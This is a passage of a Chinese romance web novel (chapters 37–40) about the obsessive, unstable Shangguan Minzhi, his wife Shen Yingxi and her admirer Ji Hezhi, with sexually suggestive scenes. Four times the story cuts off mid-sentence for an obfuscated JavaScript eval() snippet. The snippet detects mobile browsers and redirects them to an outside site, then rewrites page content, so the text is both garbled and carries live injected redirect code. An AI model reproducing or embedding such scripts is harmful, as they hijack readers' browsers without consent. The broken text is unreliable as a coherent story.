他只一人站在门前,身后并无什么其他人。 而西窗的剪影一动不动,依然跃存窗上。 沈盈息缓缓眨眼。 不待她反应,少年猛地摔门走出,巨大的声音响彻天地,震落了院中的几片摇摇欲坠的树叶。 上官慜之一步一步踏下门阶,双拳紧握,浑身隐隐颤抖。 他睁着一双满布血丝的双眼,死死盯着大门前的少女。 踩碎一地落叶时,他压低声音,嗓音嘶哑,“我在你东边的窗子后面……看了你很久,你怎么、你怎么不进来?” 少年身着单薄里衣,乌发半散,夜风吹乱他一头青丝,让不断逼近的少年多出一丝癫狂。 沈盈息张了张唇,“慜之,你冷静……” “什么冷静!”上官慜之猛地咬牙,他逼近在前,修长身子带阴翳而来,他颤着双拳,眼眶泛起了红,紧紧盯着少女:“你回答我,为什么、不进来?” 沈盈息看着这样的上官慜之,直觉得他已经扭曲了。 可明明早上还言笑晏晏的人,怎么变成现在这样了? 朝颜夕改,好不叫人困惑。 “这不是你的礼物吗?”少女蹙眉,脸上已浮现薄怒,她看样子已经受够了少年的阴晴不定,“你想让我进去?进去干什么?骂你,还是打你?这样做有意思吗?上官慜之,你闹够没有!” “有意思!!”少年随之厉声反驳,他猛地钳住少女的肩膀,弯下腰用那双眼眶深红的眸子用力地望着少女,“怎么没有意思?!我等了好久,我等的就是你的打骂!可为什么,你为什么不进来!?你为什么不像其他任何人那样,那样……” 上官慜之好似痴狂的表情实是震住了沈盈息。 少女惊愕的神情尚未褪去,少年忽而抱住了她,“沈息,你还喜欢我吗?” “……” 沈盈息束手,没有像往常一样回抱。 “上官慜之,你究竟想我做什么?” 少年湿润温热的泪一滴一滴滑入脖颈,声音哀转:“我不想你做什么,我原来以为,我不想你做别的什么。我原来以为……只要像刚才那样,放弃我讨厌我,我想你像其他人那样恨我。” 沈盈息顿了顿,侧过脸望着埋在自己颈窝处的少年,“我如你所愿了,不是吗?” “……”方才还恶狼一般凶狠的少年,忽而凄悲地呜咽一声,他大大收紧了拥抱少女的力度,有什么无形的东西碎了,随着他的这声呜咽。 “沈息,你比我爱我,是不是,你比我爱我。” 不然为什么在那种背叛的场景下,还愿意给他体面。 不然为什么…… 沈盈息沉默了一阵。 她感到腰后那双手在逐渐用力,但渐渐地又失力,像是她用沉默掰开了上官慜之抱紧她的手。 少女没承认,上官慜之兀然起身,“沈息,你没拒绝。” 少年忽而笑了起来,他当着沈盈息怔忪的眸子,慢慢地褪下所有衣物,他干净无比地站在院中,任冷风舔舐他颤抖苍白的身体。 “沈息,你看,我可以向你求欢,我下贱得连脸都不要了……你还想看看吗,我在翠玉楼学的本事……” “住手!”少女骤然出声,声音严厉冰冷。 上官慜之勾唇媚笑,“息姑娘,我闭了嘴,还怎么服侍你开心呢?” 沈盈息猛地上前,倾尽全力地甩了上官慜之一巴掌。 这一巴掌干脆、清亮、利落。 不带一丝一毫的犹豫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592503|139650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上官慜之的脸被打得撇到一边,白皙脸庞很快红肿了起来,可见少女的怒气。 疼啊,真疼。 这半年里挨的哪一顿打,都没今天这巴掌疼。 上官慜之忽地畅意大笑起来,任清月光辉笼罩一身,他边笑边道,“你看,息息,你打我,难道不是因为爱我?你不爱我,为什么要打醒我?你知道世上谁最恨我吗,哈哈哈,你知道!你知道世上最恨上官慜之的就是上官慜之自己,但你还愿意跟上官慜之这个蠢货成亲,这是为什么?所以你爱我,你比我爱我!” 沈盈息接受不了言语最后,愈发激烈而愈显得平静的少年。 他太割裂了。 发狂的野兽和胆怯的少年同时活在上官慜之的体内,他那张昳丽的脸庞上,大笑和乱泪泥沙俱下地宣泄他的情绪。 沈盈息捡起地上的衣裳,默然地把它披上少年的身体。 她一言不发,披完衣裳便收回手。 “息息,”手腕突然被一只冰凉手掌扣住,沈盈息抬眸,看见上官慜之了无生气的黑眸。 “你说想和我做一对简单夫妻,现在……还作数吗?” 沈盈息挣了挣手,挣不动。 她知道,她必须给上官慜之一个回复。 “……我不确定,”少女抿唇,垂眸避开了他的视线。 少年眸光静静的,像是早有预料,他继而平静道:“我们再试试,我变成像纪和致那样的正常人。我像你想要的那样,有自尊、去追求,惜命爱命,不愤怒不发狂……” 如果她愿意,沈盈息确信自己接下来会得到上官慜之连绵不绝的、成千上百个承诺。 少女抬起眼皮,深深地看了眼自己的少年夫君,半晌,叹了口气。 “有自尊、要惜命,做到这两条,”沈盈息顿了下,到底伸手抚了抚少年冰冷的脸庞,加了句:“日后若有奇遇,切记勿忘初心。” 上官慜之歪头,闭眸恋慕地蹭着少女的掌心,他微微一笑,眼角清泪无声滑落:“誓死不渝。” 最终,沈盈息和上官慜之还是相互扶持着进了房间。 那张剪裁成相拥人像的薄纸被上官慜之亲手烧尽,看着火焰中卷曲的纸烬,他对自己的妻子道歉:“息息,我今天是犯病了,我们以后好好的。” 这夜没有再出状况,正如上官慜之自己答应的那样,他变得“正常”。 他忽然间成为了半年前的上官慜之,肆意、天真、无忧无虑。 而沈盈息是他一见钟情、珍爱如命的姑娘。 他和她对视稍久一点,脸颊都会泛起羞红。 他触碰她的每一次,身体都会因过分愉悦满足而颤栗不已。 望着少年羞涩天真的脸庞,接受他克制而不过分的亲昵,沈盈息揽住他的脖子,轻轻地,今夜第一次主动地、吻了吻上官慜之的唇。 他忽然眨着眼掉了颗眼泪,但很快掩盖过去。 她便也当没看见。 上官慜之生来受尽宠爱,他明白什么是爱,懂怎么去爱别人。 这样的少年一旦恢复了骄傲和快乐,就没有人会不喜欢他。 沈盈息与上官慜之相拥而眠,他睡梦中仍旧不安,抱着她腰的手臂牢如铁钳。 他把头深深地埋进她的颈窝里,一分一秒都不允许她的分离。 38. 第 38 第38章 翌日清晨,上官慜之早早醒来。 他做了一宿的阴冷魇梦,方睁开眼,眼神还有些失焦。 但很快,他就感受到胸膛前的柔软,低眉看去,少女海棠春睡,面容粉白,那嵌在怀中纤瘦温软的身子是如此的温暖而真实。 一下就把他从深渊里拉了出来。 “我的息息……” 上官慜之轻轻收紧双臂,低下头将额头抵着少女发顶,慢慢汲取着她身上柔软的馨香。 她是他的,她是独属他的神谕。 为了每日醒来能见到怀中的少女,昏沉之际唯一能伸手求助的神谕,他可以付出一切。 不需要真相,不需要自我。 她的喜欢慢慢变浅也没关系,他的喜欢愈渐深浓,足够做补。 他们一定要做一辈子的夫妻。 “选中了我,怎么可能还脱得了手……” 少年喁喁半会儿,终于含笑,在少女颊侧落下轻柔一吻。 窗外鸟鸣如乐,撷裹秋风落叶,一阵儿飘转旋落,带走了许多时日。 时日悠然,转眼一个半月过去了。 又一清晨,沈盈息睡梦中再次感觉不适,隐约感觉到一股强烈而又熟悉的注视。 总在这清晨时分,似乎总有一道炙热而专注的视线落在脸上,那视线如有实质,且不知收敛,每日都光明正大地盯着她。 沈盈息下意识皱起细眉,下一瞬就有只温柔的手抚上她眉心,模糊间还听见一道轻柔的,仿若哄孩子的音调:“息息乖,好息息,继续睡吧,卿卿息息,睡吧,睡吧……” 随着那道声音愈发柔和,沈盈息再次睡去。 待再醒来,已是日上三竿,她仍闭眸,温存暖衾。 正轻松惬意之际,那道引起不适的强烈视线反常地再次出现。 沈盈息立时清醒,睁开双眼去看,却撞入一双阴郁粘稠的长眸。 她一怔,撑臂起身,“慜之,你在做什么?” 上官慜之眨了眨眼,霎时间恢复了笑貌,他边笑边伸手扶住她的后背,“抱歉,吓着你了。我做好了早食,准备唤你用些的。” 沈盈息被背后那双手凉得一颤,她转过眼,望向少年的衣着,抿唇道:“慜之,你怎的不穿好衣裳就去做饭?入秋了,你身子不好,要多注意别叫寒风入体。” “嗯。”少年得到例行关心,弯起黑眸,眸中满溢甜蜜的微笑。 “我疏忽了。”说罢,他收回手掌,利落地搓热了掌心,方重新扶向少女。 “我把门窗关紧了,息息,我来帮你穿衣裳。” 沈盈息抬眼一瞧,屋内果真门窗紧闭,室内轻暖,温度适宜。 上官慜之很细心,还顾念她初起床畏寒,处处照看她。 而对他自个,却一件外裳都不披,穿着单薄里衣就冒冷风给她做饭去了。 “慜之,多为着自己。”沈盈息无声叹息,敛下眉眼,望着半蹲为她系腰带的少年,口吻中带着天然亲近的抱怨:“你不要忘了答应我的,惜命惜命,无论如何,紧先的是照顾好自己的身子嘛。” 闻言,上官慜之落在少女的指尖一顿,而后顺道握着她停在床沿处的手。 少年摇了摇少女的手掌,抬首回望她,眼睛弯着笑着,快从眼底里淌出蜜水般撒着娇:“得令得令,一定遵命。” 沈盈息方起身,回牵住少年,往塌外走,“和致说过你的身子被毒害得很不好,正是该多注意,就是不为自己,也该为我罢?我想着我以后还得多督促你些,免得你又不当回事……” 少女绵绵细语,不仅不令人觉着絮叨,反令人听着心中生出无限温软和可爱。 正似在凛冬森森里禹禹独行之际,孤寂旅人的眼前忽而被拉开了一场春水滔滔的序幕,绿野鲜花,天蓝景明。 一派的希望和生机。 上官慜之一字一句,认真至极地听着,几近将少女的言语当作佳酿般饮喝入肚。 她说的字眼愈多,他脸上的笑便愈真,最后直痴望着沈盈息张合的红唇,眼神一刻也离不得。 沈盈息忽地住了嘴。 她侧眸看去,上官慜之痴怔的眼神有着他都不自知的狂热。 她莫名有些不自在。 别过脸去,免得再见少年那信徒似的目光。 “好了好了不说了,我们先用饭吧。” 上官慜之长睫微眨,红唇勾动,他立时要接饭碗,自作高兴地给她添饭布菜。 沈盈息见他积极开朗,不复方才的痴望,不觉松了口气。 上官慜之自承诺要成为“正常人”后,日常相处的确情绪稳定,再未阴晴不定、动辄要死要活的。 只是他自此也再离不开沈盈息三步远。 一旦她和他分开,少年立时就要神经质起来,焦虑不安、张皇仿徨。 一个人站在原地只似只被困的无头苍蝇,飞来撞去,直至她发觉不对劲及时回到他身边,他那双泛红的眸子才能平静下去。 往往他甚而反将一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598509|139650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军,对回归身侧的妻子露出安抚的笑容:“息息,一转眼你就不见了,可吓着我了。” 沈盈息着实也被上官慜之吓了一跳。 她不隐瞒,单刀直入地问他缘故。 他当然也不隐瞒,少年愈发秾艳的眉眼春水般动人,长睫黑眸曳着情波望着她,“不为什么,近来总觉心慌,心慌得快死掉,只有见到息息方觉活了过来。” 说着,一双长臂不由分说拦住少女纤腰,毛茸茸的头颅埋进少女颈窝,红唇含着少女细白的颈肉,声音模糊:“息息,你怪我吗?息息,你怪我吗?” 他声音含糊不清,有时重复地问她怪不怪他,那个“怪”字因说话人温吞含音的缘故,总叫沈盈息听错成“爱”。 好像上官慜之总是在问她,她爱他吗,爱他吗? 沈盈息照例答道:“不怪,不怪。” 于是少年会先沉默一阵,然后黏黏糊糊地亲她抱她,亲昵无比地说:“那就好,息息真好。” 不知是为了补偿还是什么,沈盈息这时便会主动地吻下少年。 上官慜之总会为她这个吻掉滴眼泪,他而后噗嗤就笑了,笑自个儿说:“息息,我怎么办啊,我就愿意你恨我,我怎么了,我怎么要你恨我,你怎么了,你怎么也不恨我?……” 沈盈息抚着少年脊背,侧过脸轻轻地吻了吻他的唇角,平平淡淡地说了句:“又说孩子话。” 上官慜之咧嘴笑了声,而后高呼一声,把她打横抱起,趁着她猝不及防地瞪大圆眸时哈哈大笑。 “息息,息息!”少年大声笑着,念她的名字时口吻骄傲畅快,好像她的名字能为他加冕荣誉一般。 相拥进榻间,他搂着她的腰,作态轻狂但并不冒犯而叫人讨厌。 他偶时玩世不恭地和她笑语一些权贵间的风流韵事,会和她聊今朝皇帝的顽固和痴念。 少年倾吐着他曾经所有的快乐,而把最深的苦痛和悲狂化作隐秘的力气用在讨好她的欢愉上。 沈盈息鬓乱钗横,仰目咬唇之际,上官慜之忽地慢下所有动作,而后拥着她汗津津的腰身,细柔珍重地在她紧绷的小腹上落下一吻。 “乖乖,谁都可以自由地离开我,他们都有想法,卿卿乖乖,你别这样,别把我一个人丢在这里……” “我——” 上官慜之说到这里,总是又扬起过盛的笑容,自行打断自己的话。 他抬起头,望向春红娇怜的少女,恣肆张扬地挑了挑眉,“沈息,你也会离不开我的。” 39. 第 39 章 第39章 “息息,今儿我们去药铺吧。” 院落闲庭,枫叶渐红,枫树下石桌旁,沈盈息捉着只风筝题字。 上官慜之走过来,边看她写的字,边道:“咦,息息的小篆写得真不错。嗯?喔,我不知道,我哪儿知道纪大夫写得更好……” 少年还是笑了下,他放下给风筝涂色的墨汁,接过沈盈息的毛笔,俯身在她的字下续写。 沈盈息被圈在少年怀中,有人代劳,她也便住了手。 闲适地往后一倚,后脑枕着少年的肩膀,少女半垂眸,看着风筝的空白处被一行行古朴圆润的篆字填满。 两首秋赋写完,石桌上已落了三四片红枫,上官慜之搁下笔,捏住叶柄,选中最红的那片枫叶,转而又提笔,在红枫上写了八字行楷:“永结同心,不离不弃。” 沈盈息顿了下。 上官慜之望着那八个字,低声笑出来,他放下笔,尽情拥着怀里的少女,“息息,我的字如何?” 沈盈息拿起桌上红枫,细白的手指与枫红色彩对比强烈,薄暮之下烟霞辉煌,少女黑睫垂停,红唇微启:“慜之,多谢。” 上官慜之望着如画少女,她身上有诸多颜色,比那只五颜六色的风筝出彩百倍千倍。 他弯眸,埋头蹭着少女脸颊,少年压低声音,颇有些娇痴地道:“息息喜欢的话,赏赏我,好吗?” 沈盈息对少年撒娇卖痴的本事深有领会,便熟稔地侧过头亲了下上官慜之俊挺鼻尖。 但谁知他这回没应,摇撼着拥着她的手臂,尾音上翘地嗯嗯了两声:“息息可怜我,爱我,今天我们换个奖赏罢,我有个好主意。” 沈盈息有些不明所以,但近两个月以来,在上官慜之密不透风的“正常”包裹下,她被少年养成了安受他服侍的小习惯。 在寻乐问趣一事上,上官慜之是当之无愧的老师。 她得受教。 上官慜之自坦白他从前也不精于此道,他和沈盈息一样,都是天生享乐的好出身,只有别人讨好他的份儿,没有他费劲心力讨好的时候。 就是进了翠玉楼,他也从来不媚好过。 沈盈息算是第一位,“息息宽容我些罢,与我共同练练手,过了初时的生疏,日后多是舒服呢。” 上官慜之真是聪明过了头,兼之他对自己要求严苛,做许多事,他只许自己失败那一两回,再三再四的时候,就已经一手老练、好似完全熟于此道了。 往常夫妻二人共同好奇地合作欢愉时,多在这一院一屋里,但这回上官慜之对沈盈息说:“息息许久不曾去药铺了罢,我们不若去看看。” 沈盈息方明白在上官慜之题字前的那声提议是认真的。 她不由惊奇地瞥了眼他,后者立时嘟囔起来:“怎么了,我就不能大度一回吗?” 沈盈息噗嗤一声笑,抓住少年佯装收回的手掌与其十指相扣:“那么这是你自以为的了,我可没参与。” 上官慜之皱起脸,将和少女相握的手掌贴在脸侧,他半耷眼皮,可怜巴巴地朝自己的妻子道:“那待会儿我可以在纪和致面前炫耀吗?” “……”沈盈息没好气地攘了把少年的脸,“我们两个玩世主哪有什么好炫耀的,你不知道纪和致的药铺已经快做成京城第一了吗?人家都谦和着呢,每日那样忙还来贴问候我们的,你别是装忘了。” “哼哼哼,”她不说便罢,一说上官慜之眉眼里的得意都快飞出来了,他憋了会儿,实是没憋住而放声大笑。 沈盈息不解地看着他,“又作什么疯呢,我说的错了吗?” “噗哈哈哈……”望着少女困惑的眉眼,直叫上官慜之又觉可怜又觉可爱,他笑得更张扬起来,直笑得沈盈息开始生了气。 “上官慜之!”少女大为光火,使劲要挣开手,但少年握力极大,任她只是挣动而愣是挣不出来一根手指。 上官慜之很故意地举起双手,有意投降,但带着她的那只手一起举至半空,他闪身,躲过少女另一只手,“息息,息息饶我,我真是错了,是我是我错了。” 沈盈息一击落空,更被勾动拳头痒意,她扭过脸,冷着上官慜之,不再理他。 见她冷脸,上官慜之真有些慌了,他立刻跨步上前,焦声道:“我就是觉得好玩,息息我不开玩笑了。我、我知道纪大夫日日来贴邀请,今儿不也应帖了嘛,息息,息息……别不理我呀,息息……” 少年又是贴脸又是拥抱,直做出十二分的甜蜜讨好,沈盈息也不存心煞他锐气,给了他胸膛一拳后,就敛下怒容,正儿八经地问他:“那告诉我你刚才笑什么?” 上官慜之辩诉冤情:“息息明鉴,我不是笑你,我是笑那个纪和致的。” 沈盈息更迷惑:“人纪大夫有什么可笑的?” 少年得逞地勾唇,“人纪大夫谦和得让人想笑呗。” “来瞧,”上官慜之不废话,他牵着沈盈息到院门口,大门旁倚着一只破篓,篓里有许多纸灰,厚厚的灰烬最上倒还留存一封完好的纸笺,纸张是一两一丈的贴金花纸,一等一的贵物。 这种纸样另附一层含义,此纸因精贵芬芳,向来专供京城里的青年男女互诉衷肠所用。 沈盈息来京不过半年,并不知其中隐窍,她见上官慜之把这精美纸笺展开,对她展示上面的字:“药铺今日进项一百又三十三两,新进的莲心正清甜,最宜与藕节入汤,可养容颜,特备一盅,候息息安。” 是纪和致的字迹。 沈盈息一眼就认出来了。 她伸手欲碰,那展现面前的纸笺忽地远离,躲开她的手,少年秾艳面庞从纸后探出,“息息就别碰啦,这纸脏呢。” 沈盈息朝少年身后的篓看了眼,似笑非笑,“慜之,那篓里的纸灰是?” 上官慜之嗯嗯两声,“对啊,都是我烧的,纪和致天天来帖扰民,好不讨厌,贴上又都是些没用废话,烧了才好,正好为我们的枫树做春泥。” 他忽而神奇地从背后取出一纸红枫,赤红的叶片上八个行楷行云流水,“我们才是正经的一对,也不知道他这个外人瞎掺和什么。” 说着,上官慜之把纸笺嫌弃地扔回篓里,然后亲热地上前抱住少女,“就是我死了,我也要做息息的鬼夫君,纪和致这种小人就该天天写酸信骂我。我死了,我再投胎转世,也还是一定要做息息续弦的。” 少年一番大论发表下来,闹得沈盈息哭笑不得,她扯着上官慜之的脸,失笑:“什么续弦不续弦的,你这个正房不还好端端现我眼前呢嘛,天天尽说点晦气的话。” 当初在月色下行合卺礼,在院中行对拜礼时,也不见上官慜之这样高兴过。 现今只当着他的面说他是正房,他立时有了名分得以扬正的畅快,满脸春风得意,吻她万千,最后埋在她颈窝里,甜滋滋地道:“是,息息,我晦气,你鲜亮,我们就是合榫合卯、天造地设的一对。” 这小人得志的样儿,倒好似有股从偏房扶正的劲儿。 沈盈息想了想,唔了下,“慜之,我觉得你待会儿可以……待纪大夫好些,他做的饭还挺好吃的。” 颈窝里埋脸的少年闷声笑,“好啊,吃人手软,待会儿见面我保准有礼有貌的。息息,要我唤他一声兄长不,我看他长得挺显老,三十岁有了吗?” 沈盈息眼角微抽,纪和致外观是温润稳重,但还不至于跃升个十岁的程度。 “我们还是别背后说人,这多小人行径啊。” 沈盈息宽和地劝了句。 上官慜之乖顺应下,说:“好,听息息的做,我们做君子。” 于是君子人上官慜之提着那只风筝,牵着爱妻的手走进药铺。 现今药铺规模大了,顾得起坐堂大夫多了,纪老板业已退居幕后,不再于前线日日忙碌。 不必忙于整日的问诊,纪和致也没闲下来,他从早到晚依旧忙得分身乏术,只是业务多由掌控药线和扩大经营占据了。 纪得药铺前堂的分管事往日很少看见纪和致,往往铺子下钥他回家,会在夜幕长街里偶遇从分铺里出来的纪老板。 难但今日不知怎的,那少女一走进铺子,过不半刻钟,他们的纪老板就风度翩翩地从铺外进来了。 后院的门一关,纪老板和少女以及她身侧的少年的身影便被挡在门后了。 分管事来不及多思,平日里比纪老板还神出鬼没的仓护卫也走了进来,后院门再次被打开,仓护卫一身冷寒地进院了。 后院现在很热闹啊。 分管事想到。 “欸,纪大夫,您终于是来了,喏,这是我们夫妻二人给您带的礼物,你就笑纳着吧。” 白衣青年的笑容现出微影,便被那少年令人嫌憎的微笑给摁灭了。 纪和致表情淡淡:“上官公子将风筝放在桌上吧。” 上官慜之耸肩,牵着沈盈息的手走到桌子旁,他放下风筝,同时也就坐下了。 唯二的两张椅子被他们两人尽占去,留得主人家立在院中看着他们。 沈盈息咳了声,眼神示意上官慜之。 接收到少女警告眼神,上官慜之立时恍然大悟,他奥奥地拍了下脑袋,自笑道:“哎呀好日子过惯了,这脑子都快被蜜糊了,这点眼力见都没有。” 他一下站了起来,走到沈盈息旁边,站在她身旁一阵儿,等了等,紧接着耐不住地对其眨了下眼,“息息,我把位置让给纪大夫坐。” 沈盈息一见上官慜之乖巧的笑脸,立时觉得他在包藏着什么祸心,怎么看都是不怀好意。 她尚且有些犹豫,毕竟这儿不是自家院子,他们正经的亲近都像胡闹,更遑论上官慜之是不会叫她安分的。 他几乎想对所有人炫耀他们的亲近。 只多思了这两三秒,少年的眸子就耷拉了下来,上官慜之委顿地站到身后去,嗓音低落:“息息想多了,我只是以为息息会夸我呢。” 沈盈息感受到少年的失落,也自疑虑了下,许是她多想了。 她扯了下上官慜之的袖子,安抚道:“好啦,知道你好,不然我把椅子让给你坐。” “哪儿用得着委屈息息,”少女背对少年,是以在场除了她自己,所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13603563|139650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人都看见她背后的少年狡狯而笑。 下一瞬,沈盈息只感到一阵视线错乱,再回神,她已然安安稳稳坐在了上官慜之的怀里。 “……” 院声霎静,还有些冷。 沈盈息摸清楚状况,又羞又恼,她用力拍打了下腰间的铁手,低喝道:“上官慜之,这成什么样?!” 上官慜之委屈出声:“什么样嘛,我们本分人家的夫妻都这样亲近的,在场也没有外人嘛,他们兴许还高兴瞧见我们亲近呢。” 究竟本分人家会不会这样亲近,沈盈息不知道。 不过在场的人除了上官慜之,也没见一个喜形于色的。 阿仓扶剑的手用力到泛白了,纪大夫的脸色也跟这初秋的风一样,又凉又冷了。 沈盈息欲要起身,上官慜之忽地凑近她耳后,软声道:“息息乖乖,你说好赏我的呢?” 好,原来是这么个赏法。 少女秀致的脸庞上迅速划过一丝无奈,她不再露出抗拒,放弃地倒进少年怀里,索性享受起上官慜之宽怀胸膛的包围了。 纪和致看了两秒,脸上的冷意紧接散去,他带上公式化的温润笑容,从善如流地坐在了这对少年夫妻的对面。 “息息……”青年的视线凝着对面少女,顿了顿,道:“收到我今日的帖子了吗?莲子藕节都是上品,息息现在用些?” 沈盈息脸有些红,她扭脸,避开纪和致如炬目光,咳了声道:“现、现下有吗?” 纪和致放在桌沿上的长指蜷了蜷,他微微笑道:“早在火上煨着,我去拿给你。” 沈盈息颤了下足尖,扭头迅速瞪了眼上官慜之,后者无辜地回望她,好似什么都没做。 沈盈息于是咬牙,含混地答复过纪和致:“麻烦了。” 白衣俊秀的青年微笑依旧,他雅致起身,站起来的视角里,少女红润的脸更一览无余,他手指屈起,想就此伸出替她整理好鬓角略微湿润的发丝。 不过他还是转身,温和地道:“近来耳室添了许多新药,也制了许多金疮散,息息去取些吗?” 沈盈息抿唇,“好。” 上官慜之跟在她颈后,对纪和致笑道:“多谢了,纪大夫。” 纪和致的笑眼对上少年,忽地淡漠下去,他冷淡道:“是给息息备的。” 少年咧唇,“那不更得谢谢了,欸,纪大夫今年而立了吧,瞧着这样年长,我和息息都还年少,现在该唤你纪兄,还是纪叔?” 沈盈息闻言,当即瞪圆黑眸,“上官慜之,你别瞎说!” 这个上官慜之,敢情那么听她话不背后说人,是为了攒着到正主面前开大。 就说为什么以往巴不得痴缠她,恨不得两个人腻成一个人的他,今天突然主动要求来药铺。 果然是事出反常必有妖! 纪和致闻言,不在意地一笑,“没事,息息,上官公子是年轻。” 他说罢,清正的眸子里竟而泛起一丝诡谲。 只是那丝异色消失得太快,什么都没看清呢,纪大夫就又恢复成了稳重温和的模样,出声清润,像个长者般言辞温善:“太年轻,便容易糊涂,彼时心爱至深,届时新鲜劲一过,就易腻烦。” “世情如此,往往是好事多磨,后来者居上的结局圆满。” 上官慜之目光阴冷,“纪大哥,你这话是不是太偏颇了。” 纪和致温润一笑:“偏颇与否,且过明朝再看。” 他不再多辩,对沈盈息笑了笑:“息息,我很快回来。” 沈盈息无可无不可地弯了弯眸子,“不着急。” 纪和致眸光一闪,转身离去。 待他离去,上官慜之立刻褪去阴狠面貌,十分委屈地将下巴抵在沈盈息肩膀上,“息息你看他,咒我。” “还大夫呢,真是没一点慈悲心。” 沈盈息无奈,“你不也胡闹了。” 上官慜之无辜地眨动双眸,倏地软下神色,讨好道:“息息别生我的气,要是真生气,也别当着人面教训我呀。” 沈盈息知道上官慜之藏着小心思在诱哄她,他胆子很大,在场的阿仓根本碍不着他。 她哼了声,“你啊,你满肚子坏水,小心别让它们撑坏了你的肚皮。” 少年低笑,“那可真不得了,息息和我去耳室看看,找找治我这坏心肠的药。纪大夫美意,我们也别辜负了。” 沈盈息懒懒的,“给你的赏不是叫你刚才领完了?” 上官慜之大为困惑,“咦?那是什么时候,我只问了赏在哪里,也没说领呢。” “你!”少女兀地起身,坐在少年长腿上回身拧眉,“你越发泼皮,越发无赖起来了!” 上官慜之眼眶霎时红了一圈,“息息乖乖,我这又是犯的什么错,你不是答应我的呢,我这下心里难受了,息息……” 他是说哭就哭的主儿,沈盈息早有领教,她恨恨了一瞬,用力地扯了把上官慜之的脸颊,把他脸揪得红痕凌乱,方住了手,“那么走好吧?” 少年顿时破涕为笑,“我定叫息息喜欢。” 40. 第 40 章 第40章 狭窄耳室,门一关天地就暗了下来,空间瞬间缩小到只有两个人站立的位置。 沈盈息甫一站稳,昏暗视线里只来得看见少年勾起的笑,而后上官慜之便单膝跪下,熟稔地一手扶住她的腰,一手握住她的腿弯。 “……这儿怎么行!”沈盈息登时红了脸,要后退但腰就抵在少年的手掌上,他早算好了的,他们二人离墙极近,这既斩断她退路的同时,还方便她借力。 裙摆微动,于是两个人的位置上只有一个人站着了,少年的闷笑声俯着升出:“这儿怎么不行。” “息息用我用得喜欢就成,还分地方做什么?”上官慜之话声将落,沈盈息猝不及防受到轻咬,一抖,落了一声低哼。 “你……呜真是疯了。” 上官慜之仰眸勾唇,感受到鼻尖微润,伸舌舔了舔薄唇。 “息息开心,我的计划便算成功,疯了正好,谁还管这没所谓的手段。” 沈盈息兀地腿弯失力,少年早有预料般收紧冰凉的手掌,兜住少女微颤的身子。 他的动作熟稔,惯得她贪欢又慵懒。 这时沈盈息只低低哼了声,上官慜之便立刻得逞地笑了声,而后从善如流地将少女的小腿抬起,让她顺利地踩住自己的肩膀。 少年宽阔脊背绷紧贴近,沈盈息不由伸出手推了推他被裙摆罩住的头。 “慜、慜之……” 少年的发髻被扯散,为了方便,上官慜之早已舍弃发冠簪子了。 他拨冗回着沈盈息的呼唤,“息息、息息……我的息息……” 每一声都带着满足和压抑过度的痴迷。 纪和致走到药铺前堂,后院的门在身后慢慢阖起。 刚站稳在院门前,视线便有一瞬的发黑,攥了攥拳稳住身形,纪和致倚着门慢慢阖起双眸。 “纪老板?” 分管事走近,抬头抬向自己年轻成熟的老板。 望见纪和致紧皱的眉间,分管事顿了顿,道:“纪老板,您看着面色很不好,有几天没睡了吧?” 在听到分管事声音的刹那,纪和致眉心皱得更紧,但很快,他睁开眼睛,对中年管事温和道:“两日。无碍,你的药我已服了几贴了。” 分管事面露担忧:“药只提神,但挡不了身体上的乏意。您难得回来,不如回屋多睡几个时辰吧。” 白衣青年直起身,对管事点点头:“正有此打算,多谢。您近来也辛苦,柜台后有一包银两,专给您备着的,记得领回家。好,您这边忙着,我先走一步。” “这,那我也多谢纪老板了,您慢走着。”中年管事有些受宠若惊,又带着点惊叹。 目送纪和致离开后,他仍回味着:“我那不争气的儿子要是有纪老板两分世故也就好了,哪还用得着我这把老骨头替他牟利家业啊。” 为人父母,中年管事几乎能同身感受到纪老板爹娘的骄傲。 捻了捻自己的小山羊胡,分管事不禁起了想和纪老板爹娘取经求教的心思。 “纪老板。” 纪和致走到专司煮药的小房间,房里的两个药童见到他进来,立刻起身喊了一声。 “嗯,我来取莲藕汤。”纪和致抬起手臂,手掌半空往下压了压,“你们坐下吧,不必为我忙。” 两个年轻小童有些不好意思,挠了挠脸坐下,“谢谢纪大夫。” 纪和致对他们微微笑了笑,“汤还剩下许多,麻烦二位解决了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 